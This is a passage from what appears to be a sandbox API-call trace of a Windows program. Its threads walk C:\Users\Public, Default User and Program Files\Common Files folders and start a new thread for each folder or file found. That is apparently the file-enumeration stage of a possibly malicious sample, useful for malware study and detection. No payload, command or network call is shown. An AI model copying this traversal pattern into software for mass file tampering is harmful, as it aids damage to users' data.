lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0139.761] FindClose (in: hFindFile=0x8d9b50 | out: hFindFile=0x8d9b50) returned 1 [0139.761] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906438) returned 1 [0139.761] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8898) returned 1 [0139.761] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8868) returned 1 Thread: id = 1668 os_tid = 0x488 [0139.762] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x30) returned 0x8dabe8 [0139.762] wcscpy (in: _Dest=0x8dabe8, _Source="C:\\Users\\Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0139.762] wcscat (in: _Dest=0x8dabe8, _Source="\\" | out: _Dest="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0139.762] wcscat (in: _Dest=0x8dabe8, _Source="*" | out: _Dest="C:\\Users\\Default User\\*") returned="C:\\Users\\Default User\\*" [0139.762] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906438 [0139.762] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906438) returned 1 [0139.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dabe8) returned 1 [0139.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da9f0) returned 1 Thread: id = 1669 os_tid = 0x46c [0139.765] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x24) returned 0x8d8868 [0139.765] wcscpy (in: _Dest=0x8d8868, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.765] wcscat (in: _Dest=0x8d8868, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.765] wcscat (in: _Dest=0x8d8868, _Source="*" | out: _Dest="C:\\Users\\Public\\*") returned="C:\\Users\\Public\\*" [0139.765] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906438 [0139.765] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b50 [0139.765] wcscmp (_String1=".", _String2=".") returned 0 [0139.765] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.765] wcscmp (_String1="..", _String2=".") returned 1 [0139.765] wcscmp (_String1="..", _String2="..") returned 0 [0139.765] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0139.765] wcscmp (_String1="Desktop", _String2=".") returned 1 [0139.766] wcscmp (_String1="Desktop", _String2="..") returned 1 [0139.766] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x30) returned 0x8da9f0 [0139.766] wcscpy (in: _Dest=0x8da9f0, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.766] wcscat (in: _Dest=0x8da9f0, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.766] wcscat (in: _Dest=0x8da9f0, _Source="Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0139.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0139.766] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.766] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0139.766] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0139.766] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0139.766] wcscmp (_String1="Documents", _String2=".") returned 1 [0139.767] wcscmp (_String1="Documents", _String2="..") returned 1 [0139.767] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x34) returned 0x8da050 [0139.767] wcscpy (in: _Dest=0x8da050, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.767] wcscat (in: _Dest=0x8da050, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.767] wcscat (in: _Dest=0x8da050, _Source="Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0139.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0139.767] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0139.767] wcscmp (_String1="Downloads", _String2=".") returned 1 [0139.767] wcscmp (_String1="Downloads", _String2="..") returned 1 [0139.767] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x34) returned 0x8da090 [0139.768] wcscpy (in: _Dest=0x8da090, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.768] wcscat (in: _Dest=0x8da090, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.768] wcscat (in: _Dest=0x8da090, _Source="Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0139.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0139.768] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0139.768] wcscmp (_String1="Favorites", _String2=".") returned 1 [0139.769] wcscmp (_String1="Favorites", _String2="..") returned 1 [0139.769] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x34) returned 0x8da0d0 [0139.769] wcscpy (in: _Dest=0x8da0d0, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.769] wcscat (in: _Dest=0x8da0d0, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.769] wcscat (in: _Dest=0x8da0d0, _Source="Favorites" | out: _Dest="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites" [0139.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0139.770] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa364b320, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa364b320, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0139.770] wcscmp (_String1="Libraries", _String2=".") returned 1 [0139.770] wcscmp (_String1="Libraries", _String2="..") returned 1 [0139.770] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x34) returned 0x8da110 [0139.770] wcscpy (in: _Dest=0x8da110, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.770] wcscat (in: _Dest=0x8da110, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.770] wcscat (in: _Dest=0x8da110, _Source="Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0139.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0139.771] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0139.771] wcscmp (_String1="Music", _String2=".") returned 1 [0139.771] wcscmp (_String1="Music", _String2="..") returned 1 [0139.771] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2c) returned 0x8dabe8 [0139.771] wcscpy (in: _Dest=0x8dabe8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.771] wcscat (in: _Dest=0x8dabe8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.771] wcscat (in: _Dest=0x8dabe8, _Source="Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0139.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8dabe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0139.772] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0139.772] wcscmp (_String1="Pictures", _String2=".") returned 1 [0139.772] wcscmp (_String1="Pictures", _String2="..") returned 1 [0139.772] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8da150 [0139.772] wcscpy (in: _Dest=0x8da150, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.772] wcscat (in: _Dest=0x8da150, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.772] wcscat (in: _Dest=0x8da150, _Source="Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0139.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0139.773] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0139.773] wcscmp (_String1="Recorded TV", _String2=".") returned 1 [0139.773] wcscmp (_String1="Recorded TV", _String2="..") returned 1 [0139.773] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x38) returned 0x8da190 [0139.773] wcscpy (in: _Dest=0x8da190, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.773] wcscat (in: _Dest=0x8da190, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.773] wcscat (in: _Dest=0x8da190, _Source="Recorded TV" | out: _Dest="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV" [0139.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0139.775] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0139.775] wcscmp (_String1="Videos", _String2=".") returned 1 [0139.775] wcscmp (_String1="Videos", _String2="..") returned 1 [0139.775] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2e) returned 0x8dac20 [0139.775] wcscpy (in: _Dest=0x8dac20, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0139.776] wcscat (in: _Dest=0x8dac20, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0139.776] wcscat (in: _Dest=0x8dac20, _Source="Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0139.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8dac20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0139.776] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0139.777] FindClose (in: hFindFile=0x8d9b50 | out: hFindFile=0x8d9b50) returned 1 [0139.777] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906438) returned 1 [0139.777] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8868) returned 1 [0139.777] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9878) returned 1 Thread: id = 1670 os_tid = 0x4a8 [0139.778] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8fedc8 [0139.778] wcscpy (in: _Dest=0x8fedc8, _Source="C:\\Program Files\\Common Files\\DESIGNER" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER" [0139.778] wcscat (in: _Dest=0x8fedc8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\") returned="C:\\Program Files\\Common Files\\DESIGNER\\" [0139.778] wcscat (in: _Dest=0x8fedc8, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\*") returned="C:\\Program Files\\Common Files\\DESIGNER\\*" [0139.778] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906438 [0139.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b50 [0139.779] wcscmp (_String1=".", _String2=".") returned 0 [0139.779] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.779] wcscmp (_String1="..", _String2=".") returned 1 [0139.779] wcscmp (_String1="..", _String2="..") returned 0 [0139.779] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0139.779] wcscmp (_String1="MSADDNDR.DLL", _String2=".") returned 1 [0139.779] wcscmp (_String1="MSADDNDR.DLL", _String2="..") returned 1 [0139.779] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0139.779] FindClose (in: hFindFile=0x8d9b50 | out: hFindFile=0x8d9b50) returned 1 [0139.779] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906438) returned 1 [0139.779] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fedc8) returned 1 [0139.779] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3ea0) returned 1 Thread: id = 1671 os_tid = 0x1c0 [0139.785] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8fedc8 [0139.785] wcscpy (in: _Dest=0x8fedc8, _Source="C:\\Program Files\\Common Files\\Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0139.785] wcscat (in: _Dest=0x8fedc8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\Services\\") returned="C:\\Program Files\\Common Files\\Services\\" [0139.785] wcscat (in: _Dest=0x8fedc8, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\Services\\*") returned="C:\\Program Files\\Common Files\\Services\\*" [0139.785] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906438 [0139.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0140.042] wcscmp (_String1=".", _String2=".") returned 0 [0140.042] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.042] wcscmp (_String1="..", _String2=".") returned 1 [0140.042] wcscmp (_String1="..", _String2="..") returned 0 [0140.042] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0140.042] wcscmp (_String1="verisign.bmp", _String2=".") returned 1 [0140.042] wcscmp (_String1="verisign.bmp", _String2="..") returned 1 [0140.042] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f11a8 [0140.042] wcscpy (in: _Dest=0x8f11a8, _Source="C:\\Program Files\\Common Files\\Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0140.042] wcscat (in: _Dest=0x8f11a8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\Services\\") returned="C:\\Program Files\\Common Files\\Services\\" [0140.042] wcscat (in: _Dest=0x8f11a8, _Source="verisign.bmp" | out: _Dest="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned="C:\\Program Files\\Common Files\\Services\\verisign.bmp" [0140.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f11a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0140.043] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0140.043] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0140.043] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906438) returned 1 [0140.043] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fedc8) returned 1 [0140.043] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3ef8) returned 1 Thread: id = 1672 os_tid = 0x540 [0139.789] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x8f60f0 [0139.789] wcscpy (in: _Dest=0x8f60f0, _Source="C:\\Program Files\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0139.789] wcscat (in: _Dest=0x8f60f0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\" 